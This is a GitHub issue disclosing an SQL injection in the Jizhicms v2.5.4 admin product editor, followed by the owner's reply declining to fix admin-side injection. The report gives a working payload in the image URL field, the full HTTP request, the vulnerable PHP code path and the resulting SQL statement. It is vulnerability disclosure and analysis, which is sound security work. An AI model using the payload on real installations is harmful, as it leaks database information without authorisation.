New issue

# Jizhicms v2.5.4 is vulnerable to SQL injection in the product editing module. #105

Closed

4iFei opened on Apr 24, 2025

## Exploit

Enter the product list module in the backend, edit the product details，and then import network image. Input the image address as `x',title=user(),hits='1`, and finally save the content.




The content of the request packet is as follows, parameter 'body' is injectable.

```
POST /index.php/admins/Product/editproduct.html HTTP/1.1
Host: public:8888
Content-Length: 500
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public:8888
Referer: http://public:8888/index.php/admins/Product/editproduct/id/13.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=029a5d0d26d84baf7a98daa1f30d80b1
Connection: close

go=1&id=13&tid=1&lx=1&color=&title=test&seo_title=test&keywords=&description=&litpic=&file=&s
<p><img+src%3d"x',title%3duser(),hits%3d'1"+alt%3d"test"+data-href%3d""+style%3d""/>
</p>&orders=0&addtime=2025-04-
23+15%3A45%3A22&tags=&target=&ownurl=&jzattr=&select=&zan=0&updatetime=2025-04-
23+16%3A37%3A54&config_seotitle=1&config_litpic=1&config_description=1&config_tags=1&config_f
```

Refresh the product list, and then we can see the user information of the database displayed in the title column.




## Vulnerability Analysis

In the `editproduct()` function within the file `app/admin/c/ProductController.php` , after the `$data` variable obtains the parameters submitted via POST, it utilizes the `get_fields_data()` function located in the file `conf/Functions.php` to filter the input parameters. The specific logic of the `get_fields_data()` is as follows: It decides which processing method to use based on the `fieldtype` attribute corresponding to each parameter. Since the `fieldtype` corresponding to the `body` parameter is 3, it enters the "case 3" condition and then calls the `format_param()` function in the file `frphp/common/Functions.php` for processing.

```php
function editproduct(){
    $this->fields_biaoshi = 'product';
    if($this->frparam( str: 'go', int: 1)==1){

        $data = $this->frparam();
        $data = get_fields_data($data, molds: 'product');
        check_field_must($data, molds: 'product');
        if(!$this->frparam( str: 'seo_title', int: 1) && $this->frparam( str: 'config_seotitle')==1){
            $data['seo_title'] = $data['title'];
        }
        if(!$this->frparam( str: 'description', int: 1) && $this->frparam( str: 'config_description')==1){
            $data['description'] = newstr(strip_tags($_POST['body']), length: 200);
        }
```

```php
function get_fields_data($data, $molds, $isadmin = 1)
{
    if ($isadmin) {...} else {
        //前台需要判断是否前台显示
        $fields = M( name: 'fields')->findAll(['molds' => $molds, 'isshow' => 1, 'ishome' => 1], order: 'orders desc
    }
    $newdata = [];
    foreach ($fields as $v) {
        if (array_key_exists($v['field'], $data)) {
            switch ($v['fieldtype']) {
                case 1:
                case 2:
                case 5:
                case 7:
                case 9:
                case 12:
                case 18:
                case 21:
                    $data[$v['field']] = format_param($data[$v['field']], int: 1);
                    break;
                case 11:
                    $data[$v['field']] = strtotime(format_param($data[$v['field']], int: 1));
                    break;
                case 3:
                    if ($isadmin) {
                        $text = $data[$v['field']];
                        if(webConf( str: 'islocal')){
                            $text = remote_data_local($text, $data['tid'], $data['molds']);
                        }
                        $data[$v['field']] = format_param($text, int: 4);
                    }else{
                        $text = $data[$v['field']];
                        if(webConf( str: 'islocal')) {
                            $text = remote_data_local($text, $data['tid'], $data['molds']);
                        }
                        $data[$v['field']] = format_param($text, int: 6);
                    }
```

In the `format_param()` function, the "case 4" condition uses `addslashes` and `SafeFilter` to process the `body` parameter.

```php
function format_param($value=null,$int=0,$default=false){
    if($value==null){ return '';}
    if($value===false && $default!==false){ return $default;}
    switch ($int){
        case 0://整数
            return (int)$value;
        case 1://字符串
            $value = SafeFilter($value);
            $value=htmlspecialchars(trim($value), flags: ENT_QUOTES);
            $value = addslashes($value);

            return $value;
        case 2://数组
            if($value=='')return '';
            array_walk_recursive( &array: $value, callback: "array_format");
            return $value;
        case 3://浮点
            return (float)$value;
        case 4:
            $value = addslashes($value);
            $value = SafeFilter($value);
            return trim($value);
        case 5:
            $value = SafeFilter($value);
            $value=htmlspecialchars(trim($value), flags: ENT_QUOTES);
            $value = addslashes($value);
            $ra=Array('select','insert','update','delete');
            return str_ireplace($ra, replace: '',$value);
```

Then, use a regular expression to extract the content of the `img` tag in the `body` parameter that has been processed by the `stripslashes` function, and assign it to the `litpic` parameter. We can find that `addslashes` (in the `format_param()`) is first used to add backslashes , and then `stripslashes` is used to remove the backslashes. This means that the content we input will not be escaped.

```php
    if(!$data['litpic'] && $this->frparam( str: 'config_litpic')==1){
        $pattern='/<img.*?src="(.*?)".*?>/is';
        if($this->frparam( str: 'body', int: 1)){
            $r = preg_match($pattern,stripslashes($data['body']), &matches: $matchContent);
            if($r){
                $data['litpic'] = $matchContent[1];
            }else{
                $data['litpic'] = '';
            }

        }else{
            $data['litpic'] = '';
        }
```

Finally, through the `update` function, all parameters are concatenated into the `UPDATE` statement.

```php
    // 修改数据
public function update($conditions=null,$row=null)
{
    $where = "";
    $row = $this->__prepera_format($row);
    if(empty($row))return FALSE;
    if(is_array($conditions)){
        $conditions = $this->__prepera_format($conditions);
        $join = array();
        foreach( $conditions as $key => $condition ){
            $condition = '\''.$condition.'\'';
            $join[] = "{$key} = {$condition}";
        }
        if(count($join)){
            $where = "WHERE ".join( separator: " AND ",$join);
        }
    }else{
        if(null != $conditions)$where = "WHERE ".$conditions;
    }
    foreach($row as $key => $value){
        if($value!==null){
            $value = '\''.$value.'\'';
            $vals[] = "{$key} = {$value}";
        }else{
            $vals[] = "{$key} = null";
        }

    }
    $values = join( separator: ", ",$vals);
    $table = self::$table;
    $sql = "UPDATE {$table} SET {$values} {$where}";
    return $this->runSql($sql);
```

When the value of the `body` parameter we pass in is `<p><img src="x',title=user(),hits='1" alt="test" data-href="" style=""/></p>`, the final executed SQL statement is as follows.

```
UPDATE jz_product SET id = '15', title = 'test', seo_title = 'test', tid = '1', hits = '0', htmlurl = 'product',
keywords = null, description = null, litpic = 'x',title=user(),hits='1', stock_num = '0', price = '0.00', pictures = null,
isshow = '1', body = '<p><img src=\"x\',title=user(),hits=\'1\" alt=\"test\" data-href=\"\" style=\"\"/></p>', userid = '1', ord
```

Obviously, the execution result of the SQL function `user()` is assigned to the title.

Cherry-toto on Apr 24, 2025 Owner •••

分析的很好，非常感谢。
但是目前后台暂时不会去处理XSS和SQL injection，因为后台其他地方可以直接执行sql。
不能为了作恶而作恶，这个东西本身没有技术含量，如果后台账户被拿到，意味着获取了全部权限。

**Cherry-toto** closed this as completed on Apr 24, 2025

## Metadata

**Assignees**

No one assigned

**Labels**

No labels

**Projects**

No projects

**Milestone**

No milestone

**Relationships**

None yet

**Development**

No branches or pull requests

**Participants**